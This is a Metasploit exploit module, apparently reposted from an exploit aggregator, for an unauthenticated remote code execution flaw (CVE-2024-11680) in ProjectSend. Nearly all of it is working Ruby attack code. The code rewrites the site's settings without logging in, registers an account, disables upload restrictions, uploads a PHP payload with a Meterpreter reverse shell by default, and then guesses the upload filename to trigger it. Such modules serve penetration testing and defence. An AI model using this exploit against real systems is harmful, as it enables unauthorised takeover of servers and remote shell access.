Share
## https://sploitus.com/exploit?id=MSF:EXPLOIT-LINUX-HTTP-PROJECTSEND_UNAUTH_RCE-
class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::PhpEXE
  prepend Msf::Exploit::Remote::AutoCheck

  class CSRFRetrievalError < StandardError; end

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'ProjectSend r1295 - r1605 Unauthenticated Remote Code Execution',
        'Description' => %q{
          This module exploits an improper authorization vulnerability in ProjectSend versions r1295 through r1605.
          The vulnerability allows an unauthenticated attacker to obtain remote code execution by enabling user registration,
          disabling the whitelist of allowed file extensions, and uploading a malicious PHP file to the server.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Florent Sicchio', # Discovery
          'Hugo Clout', # Discovery
          'ostrichgolf' # Metasploit module
        ],
        'References' => [
          ['URL', 'https://github.com/projectsend/projectsend/commit/193367d937b1a59ed5b68dd4e60bd53317473744'],
          ['URL', 'https://www.synacktiv.com/sites/default/files/2024-07/synacktiv-projectsend-multiple-vulnerabilities.pdf'],
          ['CVE', '2024-11680']
        ],
        'DisclosureDate' => '2024-07-19',
        'DefaultTarget' => 0,
        'Targets' => [
          [
            'PHP Command',
            {
              'Platform' => 'php',
              'Arch' => ARCH_PHP,
              'Type' => :php_cmd,
              'DefaultOptions' => {
                'PAYLOAD' => 'php/meterpreter/reverse_tcp'
              }
            }
          ]
        ],
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
        }
      )
    )
    register_options(
      [
        OptString.new(
          'TARGETURI',
          [true, 'The TARGETURI for ProjectSend', '/']
        )
      ]
    )
  end

  def check
    # Obtain the current title of the website
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(datastore['TARGETURI'], 'index.php')
    })
    return CheckCode::Unknown('Target is not reachable') unless res

    # The title will always contain "»" ("&raquo;") regardless of localization. For example: "Log in » ProjectSend"
    title_regex = %r{<title>.*?&raquo;\s+(.*?)</title>}
    original_title = res.body[title_regex, 1]
    csrf_token = ''

    begin
      csrf_token = get_csrf_token
    rescue CSRFRetrievalError => e
      return CheckCode::Unknown("#{e.class}: #{e}")
    end

    # Generate a new title for the website
    random_new_title = Rex::Text.rand_text_alphanumeric(8)

    # Test if the instance is vulnerable by trying to change its title
    params = {
      'csrf_token' => csrf_token,
      'section' => 'general',
      'this_install_title' => random_new_title
    }
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(datastore['TARGETURI'], 'options.php'),
      'keep_cookie' => true,
      'vars_post' => params
    })

    return CheckCode::Unknown('Failed to connect to the provided URL') unless res

    # GET request to check if the title updated
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(datastore['TARGETURI'], 'index.php')
    })

    # Extract new title for comparison
    updated_title = res.body[title_regex, 1]

    if updated_title != random_new_title
      return CheckCode::Safe
    end

    # If the title was changed, it is vulnerable and we should restore the original title
    params = {
      'csrf_token' => csrf_token,
      'section' => 'general',
      'this_install_title' => original_title
    }
    send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(datastore['TARGETURI'], 'options.php'),
      'keep_cookie' => true,
      'vars_post' => params
    })

    return CheckCode::Appears
  end

  def get_csrf_token
    vprint_status('Extracting CSRF token...')
    # Make sure we start from a request with no cookies
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(datastore['TARGETURI'], 'index.php'),
      'keep_cookies' => true
    })

    unless res
      fail_with(Failure::Unknown, 'No response from server')
    end

    # Obtain CSRF token
    csrf_token = res.get_html_document.xpath('//input[@name="csrf_token"]/@value')&.text

    raise CSRFRetrievalError, 'CSRF token not found in the response' if csrf_token.nil? || csrf_token.empty?

    vprint_good("Extracted CSRF token: #{csrf_token}")

    csrf_token
  end

  def enable_user_registration_and_auto_approve
    csrf_token = ''

    begin
      csrf_token = get_csrf_token
    rescue CSRFRetrievalError => e
      fail_with(Failure::UnexpectedReply, "#{e.class}: #{e}")
    end

    # Enable user registration, automatic approval of new users allow all users to upload files and allow users to delete their own files
    params = {
      'csrf_token' => csrf_token,
      'section' => 'clients',
      'clients_can_register' => 1,
      'clients_auto_approve' => 1,
      'clients_can_upload' => 1,
      'clients_can_delete_own_files' => 1,
      'clients_auto_group' => 0,
      'clients_can_select_group' => 'none',
      'expired_files_hide' => '1'
    }
    send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(datastore['TARGETURI'], 'options.php'),
      'vars_post' => params
    })

    # Check if we successfully enabled clients registration
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(datastore['TARGETURI'], 'index.php')
    })

    if res&.code == 200 && res.body.include?('Register as a new client.')
      print_good('Client registration successfully enabled')
    else
      fail_with(Failure::Unknown, 'Could not enable client registration')
    end
  end

  def register_new_user(username, password)
    cookie_jar.clear
    csrf_token = ''

    begin
      csrf_token = get_csrf_token
    rescue CSRFRetrievalError => e
      fail_with(Failure::UnexpectedReply, "#{e.class}: #{e}")
    end

    # Create a new user with the previously generated username and password
    params = {
      'csrf_token' => csrf_token,
      'name' => username,
      'username' => username,
      'password' => password,
      'email' => Rex::Text.rand_mail_address,
      'address' => Rex::Text.rand_text_alphanumeric(8)
    }

    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(datastore['TARGETURI'], 'register.php'),
      'keep_cookie' => true,
      'vars_post' => params
    })

    fail_with(Failure::Unknown, 'Could not create a new user') unless res&.code != 403
    print_good("User #{username} created with password #{password}")
  end

  def disable_upload_restrictions
    cookie_jar.clear
    csrf_token = ''

    begin
      csrf_token = get_csrf_token
    rescue CSRFRetrievalError => e
      fail_with(Failure::UnexpectedReply, "#{e.class}: #{e}")
    end

    print_status('Disabling upload restrictions...')

    # Disable upload restrictions, to allow us to upload our shell
    params = {
      'csrf_token' => csrf_token,
      'section' => 'security',
      'file_types_limit_to' => 'noone'
    }

    send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(datastore['TARGETURI'], 'options.php'),
      'keep_cookie' => true,
      'vars_post' => params
    })
  end

  def login(username, password)
    cookie_jar.clear
    csrf_token = ''

    begin
      csrf_token = get_csrf_token
    rescue CSRFRetrievalError => e
      fail_with(Failure::UnexpectedReply, "#{e.class}: #{e}")
    end

    print_status("Logging in as #{username}...")

    # Attempt to login as our newly created user
    params = {
      'csrf_token' => csrf_token,
      'do' => 'login',
      'username' => username,
      'password' => password
    }

    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(datastore['TARGETURI'], 'index.php'),
      'vars_post' => params,
      'keep_cookies' => true
    })

    # Version r1295 does not set a cookie on login, instead we check for a redirect to the expected page indicating a successful login
    if res&.headers&.[]('Set-Cookie') || (res&.code == 302 && res&.headers&.[]('Location')&.include?('/my_files/index.php'))
      print_good("Logged in as #{username}")
      return csrf_token
    else
      fail_with(Failure::NoAccess, 'Failed to authenticate. This can happen, you should try to execute the exploit again')
    end
  end

  def upload_file(username, password, filename)
    login(username, password)

    # Craft the payload
    payload = get_write_exec_payload(unlink_self: true)
    data = Rex::MIME::Message.new
    data.add_part(filename, nil, nil, 'form-data; name="name"')
    data.add_part(payload, 'application/octet-stream', nil, "form-data; name=\"file\"; filename=\"#{Rex::Text.rand_text_alphanumeric(8)}\"")
    post_data = data.to_s

    # Upload the shell using a POST request
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(datastore['TARGETURI'], 'includes', 'upload.process.php'),
      'ctype' => "multipart/form-data; boundary=#{data.bound}",
      'data' => post_data,
      'keep_cookies' => true
    })

    # Check if the server confirms our upload as successful
    if res && res.body.include?('"OK":1')
      print_good("Successfully uploaded PHP file: #{filename}")

      json_response = res.get_json_document
      @file_id = json_response.dig('info', 'id')

      return res.headers['Date']
    else
      fail_with(Failure::Unknown, 'PHP file upload failed')
    end
  end

  def calculate_potential_filenames(username, upload_time, filename)
    # Hash the username
    hashed_username = Digest::SHA1.hexdigest(username)

    # Parse the upload time
    base_time = Time.parse(upload_time).utc

    # Array to store all possible URLs
    possible_urls = []

    # Iterate over all timezones
    (-12..14).each do |timezone|
      # Update the variable to reflect the currently looping timezone
      adj_time = base_time + (timezone * 3600)

      # Insert the potential URL into our array
      possible_urls << "#{adj_time.to_i}-#{hashed_username}-#{filename}"
    end

    possible_urls
  end

  def cleanup
    super

    # Delete uploaded file
    if @file_id
      cookie_jar.clear
      csrf_token = login(@username, @password)

      # Delete our uploaded payload from the portal
      params = {
        'csrf_token' => csrf_token,
        'action' => 'delete',
        'batch[]' => @file_id
      }
      send_request_cgi({
        'method' => 'POST',
        'uri' => normalize_uri(datastore['TARGETURI'], 'manage-files.php'),
        'vars_post' => params,
        'keep_cookies' => true
      })

      # Version r1295 uses a GET request to delete the uploaded file
      send_request_cgi({
        'method' => 'GET',
        'uri' => normalize_uri(datastore['TARGETURI'], 'manage-files.php'),
        'keep_cookies' => true,
        'vars_get' => {
          'action' => 'delete',
          'batch[]' => @file_id
        }
      })
    end

    cookie_jar.clear
    csrf_token = ''

    begin
      csrf_token = get_csrf_token
    rescue CSRFRetrievalError => e
      fail_with(Failure::UnexpectedReply, "#{e.class}: #{e}")
    end

    # Disable user registration, automatic approval of new users, disallow all users to upload files and prevent users from deleting their own files
    params = {
      'csrf_token' => csrf_token,
      'section' => 'clients',
      'clients_can_register' => 0,
      'clients_auto_approve' => 0,
      'clients_can_upload' => 0,
      'clients_can_delete_own_files' => 0
    }
    send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(datastore['TARGETURI'], 'options.php'),
      'vars_post' => params
    })

    # Check if we successfully disabled client registration
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(datastore['TARGETURI'], 'index.php')
    })

    if res&.body&.include?('Register as a new client.')
      fail_with(Failure::Unknown, 'Could not disable client registration')
    end
    print_good('Client registration successfully disabled')

    print_status('Enabling upload restrictions...')

    # Enable upload restrictions for every user
    params = {
      'csrf_token' => csrf_token,
      'section' => 'security',
      'file_types_limit_to' => 'all'
    }

    send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(datastore['TARGETURI'], 'options.php'),
      'vars_post' => params
    })
  end

  def trigger_shell(potential_urls)
    # Visit each URL, to trigger our payload
    potential_urls.each do |url|
      send_request_cgi({
        'method' => 'GET',
        'uri' => normalize_uri(datastore['TARGETURI'], 'upload', 'files', url)
      }, 1)
    end
  end

  def exploit
    enable_user_registration_and_auto_approve

    username = Faker::Internet.username
    password = Rex::Text.rand_text_alphanumeric(8)
    filename = Rex::Text.rand_text_alphanumeric(8) + '.php'

    # Set instance variables for cleanup function
    @username = username
    @password = password

    register_new_user(username, password)

    disable_upload_restrictions

    upload_time = upload_file(username, password, filename)

    potential_urls = calculate_potential_filenames(username, upload_time, filename)

    trigger_shell(potential_urls)
  end
end